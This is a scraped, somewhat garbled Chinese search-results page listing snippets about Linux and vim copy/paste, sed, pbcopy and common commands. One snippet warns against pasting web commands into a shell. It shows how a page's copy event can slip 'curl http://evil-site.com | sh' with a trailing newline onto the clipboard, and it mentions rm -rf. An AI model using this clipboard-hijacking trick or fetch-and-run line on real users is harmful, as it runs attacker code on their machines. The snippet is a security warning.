展开

关键词

vim复制

1、vim复制Vim的复制无疑是y (yank),p(paster),加上yy,PPS:vim有个很有意思的约定(我觉得是一种约定),就是某个的大小写都是实现某种功能,只是方向不同 然后部分双写的字母有行操作:yy   复制一行  dd   删除一行  所以,p就是在当前光标后,P就是在当前光标前  另外,说完p,其实还有几个有时也是很有的gp,和p的功能基本一致,只是完 ,就是那个选择及拖拽寄存器,这就是系统的剪板,我们通使的ctrl+c  ctrl+v 的内容就保存在这个寄存器中,所以你要把需要复制的内容放在+寄存器中,就可以在gui界面中或ctrl+v了 ,同理,在vim中也一样+y    复制到系统剪板  +p      +gp  并且移动光标到内容后  但是光是输入+p就已经让人觉得很麻烦了,这时候,vim的map功能就又可以大显神通了 我本人是不推荐这个快捷键的,因为本身是我很的块所以,我一般修改成:nmap v +gp  nmap c +y  至于是什么按键,就可以按照你的喜好来拉,我的是,let mapleader=,

15800

千万不要往 Shell 里

对于惯了 IDE 的程序员来说,在终端里敲可能没那么顺手,也记不住那么多复杂的。比较偷懒的做法就是网上搜相关的,复制到剪板往行窗口里一,完事!但是这么做有很大的风险,为什么呢? (textplain, curl http:evil-site.com | sh n 复制了真实 ); e.preventDefault();}); 看到了吧,利 DOM 的copy事件,可以往剪板里放自定义内容 有人可能会说复制了我还没回车,不会执行呀!图样图森破,尾巴上带个换行符n,回车都为你代劳了! 这要是复制上了一些危险的,比如rm -rf,mv folder devnull 之类的,执行后就爽歪歪了。所以,为了安全,不要随便往 shell 里。 如果一定要复制,看清楚剪板里的内容再执行!关注我,加个好友,拉你进群交流技术。 关注我大家也可以关注我的公众号《脑洞前端》获取更多更新鲜的前端硬核文章,带你认识你不知道的前端。

15410
  • 广告
    关闭

    腾讯云前端性能优化大赛

    首屏耗时优化比拼,赢千元大奖

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    八个能提升效率的Linux快捷键

    Linux相信大家都会,特别是一些基础的,比如ls、cd、cat、vi 等等。在和Linux打交道久了之后,你会发现来来去去都是那几个虽然的熟练,但是还不够,Linux还提供了一些快捷键,可以快速提升操作Linux的效率。1、tap文件、路径 补全。tab键是比较的一个快捷键,它的作是补全文件名或者路径。 注意:Linux终端不支持使鼠标移动光标到行首。6、擦除有时候在终端输入了错误的,又不想整条删除,或者只想删除一部分的时候,擦除就很方便了。 Linux以空格判断一个单词。Ctrl + Y 使 Ctrl+W、Ctrl+U 和 Ctrl+K 快捷键擦除的文本。?7、历史Ctrl + P、方向键上历史上翻。 8、复制、Linux不使Ctrl+c、Ctrl+v 复制、Linux使的是:复制:ctrl+insert:shift+insert目前大部分终端工具都是选中就自动复制,鼠标右击就自动

    18720

    使 sed 进行复制、剪切和

    下载我们的免费 sed 备忘录安装 sed如果你使的是 Linux、BSD 或 macOS,那么它们已经安装了 GNU 的或 BSD 的 sed。这些是原始 sed 的独特重新实现。 你可以将保留空间当作剪板,实际上,这正是本文所演示的内容:如何使 sed 复制剪切和 sed 剪切和现在你知道了如何将字符串从模式空间转到保留空间并再次返回,你可以设计一个 sed 脚本来复制、删除,然后在文档中一行。 剪切和作为一个脚本同样有效:$ sed -n -e three h ; three d ; two G ; p example.txtLine oneLine twoLine three它甚至可以写在一个专门的脚本文件中 发明 sed 操作(例如复制和)的“配方”通是不切实际的,因为触发操作的条件可能因文件而异。但是,你对 sed 的使越熟练,就越容易根据需要解析的输入来设计复杂的动作。

    7020

    使 sed 进行复制、剪切和

    安装 sed如果你使的是 Linux、BSD 或 macOS,那么它们已经安装了 GNU 的或 BSD 的 sed。这些是原始 sed 的独特重新实现。虽然它们很相似,但也有一些细微的差别。 你可以将保留空间当作剪板,实际上,这正是本文所演示的内容:如何使 sed 复制剪切和 sed 剪切和现在你知道了如何将字符串从模式空间转到保留空间并再次返回,你可以设计一个 sed 脚本来复制、删除,然后在文档中一行。 剪切和作为一个脚本同样有效:$ sed -n -e three h ; three d ; two G ; p example.txtLine oneLine twoLine three它甚至可以写在一个专门的脚本文件中 发明 sed 操作(例如复制和)的“配方”通是不切实际的,因为触发操作的条件可能因文件而异。但是,你对 sed 的使越熟练,就越容易根据需要解析的输入来设计复杂的动作。

    10220

    如何在Linux上使pbcopy和pbpaste

    这些仅在 Mac OS X 平台上可。pbcopy 将标准输入复制到剪板。然后,你可以在任何地方使 pbpaste 板内容。 接下来,运行以下以更新 ~.bashrc 中的更改。$ source ~.bashrcZSH 户将上述行到 ~.zshrc 中。 在 Linux 上使 pbcopy 和 pbpaste 让我们看一些例子。pbcopy 将文本从 stdin 复制到剪板缓冲区。例如,看看下面的例子。 | pbcopy上面的会将文本 “Welcome to OSTechNix” 复制到剪板中。你可以稍后访问此内容并使如下所示的 pbpaste 将其到任何位置。 要从剪板检索内容,只需输入:$ pbpasteWelcome To OSTechNix!你还可以使管道字符将任何 Linux 的输出发送到剪板。看看下面的例子。

    8230

    linuxlinux目录结构::

    linux目录结构:linux不像Windows 分了盘,它根目录下有如下文件夹: home ---------- 户的家 root ---------- 超级管理员root的家 etc ---- ------ 存放配置文件 usr ---------- 存放共享资源:1、cd:①、进入某一个目录 cd 目录名②、进入多级目录 cd 目录名目录名③、返回上一级目录 cd ..④、返回根目录 6、其他:①、grep grep category a.txt 表示在a.txt中查找category字符串所在的行,前提是打开了a.txt文件。 7、vivim编辑器:①、编辑器有三种模式,分别是: 行模式: 此模式无法编辑文件,yy复制行,p,dd删除行,按如下键都可以进入插入模式: i 当前位置前插入 I 当前行行首插入 a 当前位置后插入 按esc退出插入模式,回到行模式。 底行模式:行模式下按:,即可进入底行模式。底行模式有如下: q 不保存退出 q!

    1.3K140

    别再被叫linux小白了,你跟linux高手只差这8个快捷键

    不管是运维、开发还是测试,熟悉linux已经是必备的技能了。但初学者往往都将学习停留在掌握基础上,去还是那几个,却不知道,真正的高手都是在寻找最短路径解决问题。 高手总是能高效的方法完成任务,不是因为天赋高,而是因为他们踩过的坑比你多,最后总结出来了最高效的方法。今天就给大家罗列了几个高手总结的快捷键,让你的linux操作也能健步如飞。 ----linux的8个快捷键1.tab:应该是linux的快捷键了,输入任何、文件名、目录的部分字符,敲击 tab 键。 7.快速移动光标快速移动到行首:ctrl+a快速移动到行尾:ctrl+e8.行下的复制linux行下,ctrl+cctrl+v已经不是复制了,下面这两个代替它们:复制:ctrl+ insert:shift+insert?

    12520

    快速学习-Linux(VIM编辑器)

    Vim重点是光标的移动,模式切换,删除,查找,替换,复制,,撤销的使。在后期使Linux系统中,有些可能没有初始自带vim,而自带了vi,那么vim指是不能直接使的,需要先安装。 模式:在该模式下是不能对文件直接编辑,可以输入快捷键()进行一些操作(删除行,复制行,移动光标,等等)【打开文件之后默认进入的模式】; 编辑模式:在该模式下可以对文件的内容进行编辑; 末行模式 :在想要的地方按下p键【将在光标所在行的下一行】,如果想在光标所在行之前,则使P键 ② 以光标所在行为准(包含当前行),向下复制指定的行数按键:数字yy2.1.3、剪切删除① 剪切删除光标所在行按键 :dd (删除之后下一行上移)注意:dd严格意义上说是剪切,但是如果剪切了不就是删除的效果。 3.2、别名机制(意义)别名机制表示允许操作者对现有的指脚本进行重新的名,例如clear指表示清屏,其在Windows下叫做cls,但是Linux不支持cls指,我们可以通过别名机制让Linux

    51310

    linux中vi和vim操作

    一.简单介绍vi 和 vim 类似于windows的文本编辑器所有的Linux系统都会内置vi文本编辑器vim可以看做是vi增强版,具有程序编辑能力,支持语法高亮,代码补全,编译及错误跳转等功能,因此被广泛使如果 Linux中没有vim这个,可以手动下载:yum install vim因为操作都差不多后面就拿vim举例啦vim 文件名 如果没有就创建并且打开,如果有就打开vi 文件名二.三种模式简单介绍正模式 :我们可以使快捷键对文本进行操作,比如:复制--yy :p插入模式:按下i,o,a,r,I,O,A,R中任意一个键,会进入插入模式.行模式:这个模式下,程序员可以输入相关指,来完成比如:存盘 四.正模式下1.拷贝当前行,并 拷贝 yy :p 2.拷贝当前行向下5行,并 拷贝5行 5yy 3.删除当前行 删除 dd 4.删除当前行向下5行 删除5行 5dd 5.光标移至最后一行 shift+g 或者G 6.光标移至首行 gg 7.移动到第7行 7gg 8.撤销 u 9.撤回 ctrl+r五.模式1.查找某个关键字 关键字2.取消高亮 :nohl3.显示行号 :set

    32420

    VNC登录云服务器

    此时不要在键盘上操作按键,鼠标左键移动至“发送远程”,然后点击“Ctrl+Alt+Delete”即可进入密码输入的界面。 image.pngimage.pngimage.png二、Linux系统VNC登录操作步骤:1. 登录 云服务器控制台 。2. 在实例列表中,选择需要登录的 Linux 云服务器,单击【登录】。 在弹出的【登录Linux实例】窗口,选择【其它方式(VNC)】,单击【立即登录】。如下图所示:image.png4. 点击“立即登录”后,即可进入登录页面,输入账号密码即可正登陆。 image.pngimage.png 三、VNC下VNC的方式登录时,是无法直接通过Ctrl + c 和Ctrl + v 进行的复制的,但可以通过VNC登录界面进行,这样就不需要手动输入了 方式如下:点击下图中的“这里”,然后文本(这里可以通过Ctrl + v ),点击“确定”,就可以完成了。image.pngimage.png

    3.6K30

    Linux

    13320

    Linux

    1基础:cd -, cd .. , history, ! ,mkdir,rm,mv,cp1 ls() 最ls -alls有很多参数,的有以下 -a 显示全部文件,包括隐藏文件(开头为.)一起显示 -d 仅列出目录本身,而不是列出目录内的文件数据 -f rm - r5 复制、移动、删除:cp,rm,mv1 复制cp(copy)cp 源文件 目标文件 的参数有 -a 复制的文件属性完全一样 -i 若目标文件已经存在,会询问是否覆盖 -r 递归持续复制 打印出行号,空白行也有行号 cat -b 列出行号,但仅针对非空白行,空白行不标,注意与-n的区别 这个单独比较少,当文件行数超过40,来不及在屏幕看到结果,所以更的是more和less3 825591 829591 0NR_047519 chr1 825591 829591 0NR_047521 chr1 825591 829591 0--More--(0%)重点在最好一行,光标在这里等待

    23430

    Linux

    修改文件夹名称mv oldfolername newfoldername 删除文件包或者文件名rm -rf foldername编辑一个文件sudo vim folder1folder2filetar可以来压缩打包单文件 格式: 单个文件压缩打包 tar czvf my.tar file1 多个文件压缩打包 tar czvf my.tar file1 file2,... 同样的解包的时候使 tar -xzvf filename.tar.gz。 tar.xz$tar -xvf ***.tar手工开启目录下的php服务器php -S localhost:8000 修改文件夹权限sudo chmod -R 777 folder1folder2VIM usrlocalbincomposer检测ssh服务是否开启ps -ef | grep sshcurlcurl -X GET http:1ke.co -v发起请求时自定义头部信息curl -H API-Key

    26450

    Linux

    1、Linux文件系统名规范(1)文件名名称严格区分字符大小写; (2)文件可以使除以外任意字符; (3)文件名长度不能超过255字符; (4)以 . 开头的文件为隐藏文件。 . 2、Linux(1)pwd printing working directory,显示工作目录; (2)cd change directory,切换目录; cd cd:切换回家目录;在bash 举例:编辑网卡配置文件,通需要 cd etcsysconfignetwork-scripts,这样每次都会比较麻烦,因此我们可以通过定义别名来一个自定义的名称来代替上面的。 COMMAND,禁止使别名,直接使原始的选项: -i:交互式; -f:force 3)rm:remove rm ... FILE...

    93420

    Linux

    中,使echo $? 就能够显示上一条的状态返回值。 状态返回值范围: 0:成功 1-255:失败? find机制find的优缺点find的使find来做什么? 首先查看man文档中find的介绍,search for files in a directory hierarchy,在目录层级中查找文件。由其意可知道该来查找文件。 find机制那么find是如何查找文件的呢?find使的是遍历查询(逐个查找)的方法,在各个层级遍历,最终找到目标文件。 find的优缺点find有许多的条件限定,然后也是遍历当前文件系统所查询,因此有以下各优缺点: 优: 1 查找精确 2 实时查找 缺: 1 消耗资源,查询所需时间稍久 ### find的使

    50370

    Linux

    Linuxls   显示文件或目录 -l 列出文件详细信息l(list) -a 列出当前目录下所有文件及目录,包括隐藏的a(all)mkdir 创建目录 -p 创建目录,若无父目录,则创建 top查看进程的id,然后再kill杀死进程。 关机重启机器shutdown -r 关机重启 -h 关机不重启 now 立刻关机halt 关机reboot 重启Linux管道将一个的标准输出作为另一个的标准输入。 比如安装tree的安装包,先将tree.deb传到Linux系统中。再使如下安装。 强制退出:wq 保存并退出:set number 显示行号:set nonumber 隐藏行号apache 在文档中查找apache 按n跳到下一个,shift+n上一个yyp 复制光标所在行,并h

    99860

    Linux

    查看计算机名 lspci -tv # 列出所有PCI设备 lsusb -tv # 列出所有USB设备 lsmod # 列出加载的内核模块 env # 查看环境变量资源 free -m # 查看内存使量和交换区使量 uptime # 查看系统运行时间、户数、负载 cat procloadavg # 查看系统负载磁盘和分区 mount | column -t # 查看挂接的分区状态 fdisk -l # 查看所有分区 swapon -s # 查看所有交换分区 hdparm -i devhda # 查看磁盘参数(仅适于IDE设备) dmesg | grep IDE # 查看启动时IDE设备检测状况网络 ifconfig -lntp # 查看所有监听端口 netstat -antp # 查看所有已经建立的连接 netstat -s # 查看网络统计信息进程 ps -ef # 查看所有进程 top # 实时显示进程状态户 w # 查看活动户 id # 查看指定户信息 last # 查看户登录日志 cut -d: -f1 etcpasswd # 查看系统所有户 cut -d: -f1 etcgroup # 查看系统所有组

    40980

    Linux

    我总结了Linux,方便你的Linux使。下面是格式说明,你现在可以跳过,直到遇到疑问时再来查询。 $ 行提示符粗体表示斜体表示参数 filename, file1, file2 都是文件名。 有时文件名有后缀,比如file.zip command 名 dir 文件夹名 string 字符串 username 户名 groupname 组名 regex 正则表达式 path 路径 device 设备名 partition 分区名 IP IP地址 domain 域名 ID 远程户ID host 主机名,可以为IP地址或者域名 var 变量名 value 变量值帮助$man command )$su 成为root户$sudo command以root户身份执行$passwd更改密码SHELL (BASH)$history显示在当前shell下历史$alias显示所有的别称

    87070

    linux

    :返回上层目录例如:cd usrlocalqqshow2. ls:查看目录下的文件、子目录列表例如:ls –alsLinux系统使频率最多的,它的参数也是Linux中最多的。 使ls时会有几种不同的颜色,其中蓝色表示是目录,绿色表示是可执行文件,红色表示是压缩文件,浅蓝色表示是链接文件,加粗的黑色表示符号链接,灰色表示是其它格式文件。 ls最使的是ls- l3. cat:查看文件内容例如:cat test.txt4. vi:修改文件内容。文件有insert、replace两种状态。:wq!是保存修改并退出编辑状态。:q! 假设要创建的目录名是“tsk”,让所有户都有rwx(即读、写、执行的权限),那么可以使以下: $ mkdir -m 777 tsk6. useradd:添加linux户,必须是root权限才能添加户 删除目录,可rm -r

    836170

    相关产品

    • TencentOS Server

      TencentOS Server

      腾讯服务器操作系统(TencentOS Server,TS)是腾讯云推出的Linux操作系统,它旨在为云上运行的应用程序提供稳定、安全和高性能的执行环境。它可以运行在腾讯云CVM全规格实例上,包括黑石2.0服务器。

    相关资讯

    热门标签

    活动推荐

      运营活动

      活动名称
      广告关闭

      扫码关注云+社区

      领取腾讯云代金券